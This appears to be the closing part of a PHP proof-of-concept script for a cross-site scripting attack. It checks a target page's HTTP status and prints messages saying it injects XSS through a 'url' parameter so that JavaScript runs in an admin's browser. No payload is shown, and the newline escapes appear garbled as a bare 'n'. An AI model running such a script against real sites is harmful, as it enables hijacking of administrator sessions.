$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Target page is accessible (HTTP $http_code)n";
    echo "[+] Injecting XSS via 'url' parameter...n";
    echo "[+] If admin visits the link, JavaScript executes in admin context.n";
} else {
    echo "[-] Failed to access target page (HTTP $http_code)n";
}

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